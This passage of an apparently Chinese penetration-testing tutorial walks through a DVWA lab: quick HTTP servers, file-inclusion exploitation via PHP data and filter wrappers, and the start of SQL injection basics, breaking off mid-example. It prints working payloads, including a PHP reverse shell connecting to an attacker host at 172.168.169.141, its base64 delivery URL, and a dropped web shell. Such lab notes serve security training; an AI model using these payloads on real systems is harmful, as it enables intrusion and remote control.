&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;http://172.168.169.141:8000/php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022103955235.png"&gt;&lt;/p&gt;
&lt;h1 id="扩展你的技能库"&gt;扩展你的技能库
&lt;/h1&gt;&lt;p&gt;既然我们已经了解了基础知识，让我们看看扩展技能库的一些方法。&lt;/p&gt;
&lt;p&gt;首先，让我们看看一些Apache的替代方案。&lt;/p&gt;
&lt;p&gt;Kali包含几个可以创建HTTP服务器的工具。如果我们需要在任意端口上快速建立HTTP服务器，这特别有用。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：以下示例使用注册端口，但如果我们以root用户权限运行命令，我们也可以在系统端口上运行服务器。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="http服务器替代方案"&gt;HTTP服务器替代方案
&lt;/h2&gt;&lt;h3 id="python-2x"&gt;Python 2.x
&lt;/h3&gt;&lt;p&gt;例如，我们可以在Python 2.x中在任意端口上启动HTTP服务器，通过设置&lt;code&gt;-m SimpleHTTPServer&lt;/code&gt;来设置所需的模块，&lt;code&gt;7331&lt;/code&gt;来设置TCP端口：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ python -m SimpleHTTPServer &lt;span class="m"&gt;7331&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Serving HTTP on 0.0.0.0 port &lt;span class="m"&gt;7331&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="python-3x"&gt;Python 3.x
&lt;/h3&gt;&lt;p&gt;Python 3.x的语法略有不同，因为模块名称不同：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ python3 -m http.server &lt;span class="m"&gt;7331&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Serving HTTP on 0.0.0.0 port &lt;span class="m"&gt;7331&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;http://0.0.0.0:7331/&lt;span class="o"&gt;)&lt;/span&gt; ...
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这两个命令都将启动HTTP服务器，并从当前工作路径托管任何文件或目录。&lt;/p&gt;
&lt;h3 id="php"&gt;PHP
&lt;/h3&gt;&lt;p&gt;PHP包含一个内置的Web服务器，可以使用&lt;code&gt;-S&lt;/code&gt;标志后跟要使用的地址和端口来启动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ php -S 0.0.0.0:8000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;PHP 7.3.8-1 Development Server started at Wed Aug &lt;span class="m"&gt;28&lt;/span&gt; 12:59:52 &lt;span class="m"&gt;2019&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;Listening on http://0.0.0.0:8000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;Document root is /home/kali
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;Press Ctrl-C to quit.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ruby"&gt;Ruby
&lt;/h3&gt;&lt;p&gt;我们还可以使用Ruby&amp;quot;一行命令&amp;quot;启动HTTP服务器。该命令需要几个标志，包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-run&lt;/code&gt;：加载un.rb，其中包含常见Unix命令的替代品&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-e httpd&lt;/code&gt;：运行HTTP服务器&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt;：从当前目录提供内容&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 9000&lt;/code&gt;：设置TCP端口&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ ruby -run -e httpd . -p &lt;span class="m"&gt;9000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;2019-08-28 12:44:14&lt;span class="o"&gt;]&lt;/span&gt; INFO WEBrick 1.4.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;2019-08-28 12:44:14&lt;span class="o"&gt;]&lt;/span&gt; INFO ruby 2.5.5 &lt;span class="o"&gt;(&lt;/span&gt;2019-03-15&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;x86_64-linux-gnu&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;[&lt;/span&gt;2019-08-28 12:44:14&lt;span class="o"&gt;]&lt;/span&gt; INFO WEBrick::HTTPServer#start: &lt;span class="nv"&gt;pid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1367&lt;/span&gt; &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;9000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="busybox"&gt;BusyBox
&lt;/h3&gt;&lt;p&gt;我们还可以使用busybox(&amp;ldquo;嵌入式Linux的瑞士军刀&amp;rdquo;)运行HTTP服务器：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;httpd&lt;/code&gt;：作为函数&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-f&lt;/code&gt;：交互式运行&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-p 10000&lt;/code&gt;：在TCP端口10000上运行&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;kali@kali:~$ busybox httpd -f -p &lt;span class="m"&gt;10000&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;要停止任何这些服务器，我们只需按下&lt;code&gt;Ctrl+C&lt;/code&gt;。&lt;/p&gt;
&lt;h2 id="php包装器"&gt;PHP包装器
&lt;/h2&gt;&lt;p&gt;PHP提供了几个&lt;strong&gt;协议包装器&lt;/strong&gt;(protocol wrappers)，我们可以使用它们来利用目录遍历和本地文件包含漏洞。这些过滤器在尝试通过LFI漏洞注入PHP代码时为我们提供了额外的灵活性。&lt;/p&gt;
&lt;p&gt;我们可以使用&lt;strong&gt;data包装器&lt;/strong&gt;将内联数据嵌入为URL的一部分，使用明文或base64编码的数据。当我们无法用PHP代码污染本地文件时，此包装器为我们提供了替代载荷。&lt;/p&gt;
&lt;h3 id="使用data包装器"&gt;使用Data包装器
&lt;/h3&gt;&lt;p&gt;让我们仔细看看如何使用data包装器。我们以&amp;quot;data:&amp;ldquo;开始，后跟数据类型。在这种情况下，我们将使用&amp;quot;text/plain&amp;quot;表示明文。接下来是逗号，标记内容的开始，在本例中是&amp;quot;hello world&amp;rdquo;。当我们把它们放在一起时，我们得到&amp;quot;data:text/plain,hello world&amp;quot;。&lt;/p&gt;
&lt;p&gt;我们已经知道菜单页面容易受到LFI攻击。如果我们使用data包装器提交载荷，应用程序应该将其视为常规文件并将其包含在页面中。让我们通过提交以下URL并检查结果来验证这是否有效：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=data:text/plain,hello world
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022111122997.png"&gt;&lt;/p&gt;
&lt;p&gt;正如预期的那样，应用程序将data包装器视为文件并将其包含在页面中，显示我们的&amp;quot;hello world&amp;quot;字符串。&lt;/p&gt;
&lt;h3 id="使用data包装器执行php代码"&gt;使用Data包装器执行PHP代码
&lt;/h3&gt;&lt;p&gt;既然明文data包装器有效，让我们看看我们能走多远。我们知道这个页面上存在LFI漏洞，之前的例子证明我们可以使用data包装器注入内容。让我们用一些PHP代码替换&amp;quot;hello world&amp;quot;，看看它是否执行。我们将使用&lt;code&gt;shell_exec&lt;/code&gt;运行&lt;code&gt;dir&lt;/code&gt;命令，包裹在PHP标签中。那么，URL看起来像这样：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;http://10.11.0.22/menu.php?file=data:text/plain,&amp;lt;?php echo shell_exec(&amp;#34;dir&amp;#34;) ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022111155793.png"&gt;&lt;/p&gt;
&lt;p&gt;我们在data包装器中包含的PHP代码在服务器端执行，生成了目录列表。我们现在可以在不操纵任何本地文件的情况下利用LFI。&lt;/p&gt;
&lt;h2 id="练习-3"&gt;练习
&lt;/h2&gt;&lt;ol&gt;
&lt;li&gt;使用PHP包装器利用LFI漏洞&lt;/li&gt;
&lt;li&gt;使用PHP包装器在Windows 10实验机器上获得shell&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 测试命令可用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20echo%20shell_exec&lt;span class="o"&gt;(&lt;/span&gt;%22whoami%22&lt;span class="o"&gt;)&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查可用的命令&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20echo%20shell_exec&lt;span class="o"&gt;(&lt;/span&gt;%22which%20bash%20sh%20python%20perl%20nc%20netcat%22&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;----
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;/bin/bash /bin/sh /usr/bin/perl
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查PHP禁用函数 &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,&amp;lt;?php &lt;span class="nb"&gt;echo&lt;/span&gt; ini_get&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;disable_functions&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看phpinfo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20phpinfo&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 读取源码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;php://filter/convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;index.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="方法1-反弹shell"&gt;方法1 反弹shell
&lt;/h3&gt;&lt;p&gt;使用更简单但正确的反向Shell 创建简化版（一次性URL）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; simple_shell.php &lt;span class="s"&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;&amp;lt;?php
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$sock=fsockopen(&amp;#34;172.168.169.141&amp;#34;,4777);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;$proc=proc_open(&amp;#34;/bin/sh&amp;#34;,array(0=&amp;gt;$sock,1=&amp;gt;$sock,2=&amp;gt;$sock),$pipes);
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt;EOF&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;base64 -w &lt;span class="m"&gt;0&lt;/span&gt; simple_shell.php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 网页访问&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain&lt;span class="p"&gt;;&lt;/span&gt;base64,PD9waHAKJHNvY2s9ZnNvY2tvcGVuKCIxNzIuMTY4LjE2OS4xNDEiLDQ3NzcpOwokcHJvYz1wcm9jX29wZW4oIi9iaW4vc2giLGFycmF5KDA9PiRzb2NrLDE9PiRzb2NrLDI9PiRzb2NrKSwkcGlwZXMpOwo/Pgo&lt;span class="o"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022143619377.png"&gt;&lt;/p&gt;
&lt;h3 id="方法2写入shell后lfi"&gt;方法2：写入shell后LFI
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 查看目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,%3C?php%20system&lt;span class="o"&gt;(&lt;/span&gt;%22ls%20-la%20/var/www/html/vulnerabilities/fi/%22&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;%20?%3E
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 写入shell&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/?page&lt;span class="o"&gt;=&lt;/span&gt;data:text/plain,&amp;lt;?php file_put_contents&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;shell.php&amp;#34;&lt;/span&gt;,&lt;span class="s2"&gt;&amp;#34;&amp;lt;?php system(\$_GET[&amp;#39;c&amp;#39;]); ?&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; ?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/fi/shell.php?c&lt;span class="o"&gt;=&lt;/span&gt;id
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022143956357.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022144059423.png"&gt;&lt;/p&gt;
&lt;h1 id="sql注入"&gt;Sql注入
&lt;/h1&gt;&lt;p&gt;SQL 注入是一种常见的 Web 应用程序漏洞，它是由于未经过滤的用户输入被插入到查询中，然后传递给数据库执行而造成的。查询用于与数据库交互，例如插入或检索数据。如果我们可以注入恶意输入到查询中，我们就能&amp;quot;突破&amp;quot;开发人员编写的原始查询，并引入我们自己的恶意操作。这类漏洞可能导致数据库信息泄露，根据环境的不同，可能导致服务器完全被攻陷。&lt;/p&gt;
&lt;p&gt;在本节中，我们将在 PHP/MariaDB 环境下研究 SQL 注入攻击。虽然不同环境的概念是相同的，但在攻击过程中使用的语法可能需要更新，以适应不同的数据库引擎或脚本语言。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt; MariaDB 与 MySQL 非常相似。实际上，它起源于 MySQL 的一个分支。虽然存在一些细微差别，但大多数差别对攻击者来说并不重要。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="基本-sql-语法"&gt;基本 SQL 语法
&lt;/h2&gt;&lt;p&gt;结构化查询语言（SQL）是用于与关系数据库交互的主要语言。虽然 SQL 有标准语法，但大多数数据库软件包都有实现上的变化。然而，基础语法通常是相同的。让我们先了解一些基本的 SQL 概念和语法，然后再进行漏洞利用。&lt;/p&gt;
&lt;p&gt;关系数据库由一个或多个表组成，每个表有一个或多个列。表中的每个条目称为行。&lt;/p&gt;
&lt;p&gt;在大多数情况下，我们将处理查询。查询是对数据库引擎的指令，我们使用它们来检索或操作数据库中的数据。SELECT 查询是最基本的交互：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022154817602.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以将列表查询解释为&amp;quot;显示 users 表中的所有列和记录&amp;quot;。SELECT 命令的第一个参数是列，星号是一个特殊字符，表示&amp;quot;所有&amp;quot;。&lt;/p&gt;
&lt;p&gt;我们还可以使用 WHERE 子句为查询引入条件子句：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;user&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022154908055.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以将查询解释为&amp;quot;显示 users 表中的 user 字段，仅显示 id 为 1 的记录&amp;quot;。&lt;/p&gt;
&lt;p&gt;这些只是一些基础知识。我们还可以在表中 INSERT（插入）、UPDATE（更新）和 DELETE（删除）数据。我们在这里不会涵盖这些语句，但在展示如何利用 SQL 注入时，我们会根据需要介绍其他 SQL 语法。&lt;/p&gt;
&lt;h2 id="识别-sql-注入漏洞"&gt;识别 SQL 注入漏洞
&lt;/h2&gt;&lt;p&gt;在寻找 SQL 注入漏洞之前，我们必须首先识别数据可能通过数据库传递的位置。身份验证通常由数据库支持，根据 Web 应用程序的性质，其他区域（包括电子商务网站上的产品或论坛上的消息线程）通常需要数据库交互。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.224.1:8888/vulnerabilities/sqli/?id=1&lt;span class="err"&gt;&amp;amp;&lt;/span&gt;Submit=Submit#
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20251022155005359.png"&gt;&lt;/p&gt;
&lt;p&gt;我们可以使用单引号（&amp;rsquo;）作为简单检查潜在 SQL 注入漏洞的方法，SQL 使用单引号作为字符串分隔符。如果应用程序没有正确处理这个字符，很可能会导致数据库错误，并可能表明存在 SQL 注入漏洞。知道了这一点，我们通常通过在每个我们怀疑可能将其参数传递给数据库的字段中输入单引号来开始攻击。在进行黑盒测试时，我们需要使用这种试错方法。&lt;/p&gt;
&lt;p&gt;如果我们能够访问应用程序的源代码，我们可以检查它是否存在通过字符串连接构建的 SQL 查询。在 PHP 中，这可能看起来像以下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-php" data-lang="php"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;$query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;select * from users where id = &amp;#39;&lt;/span&gt;&lt;span class="si"&gt;$id&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;;&amp;#34;&lt;/span&gt;
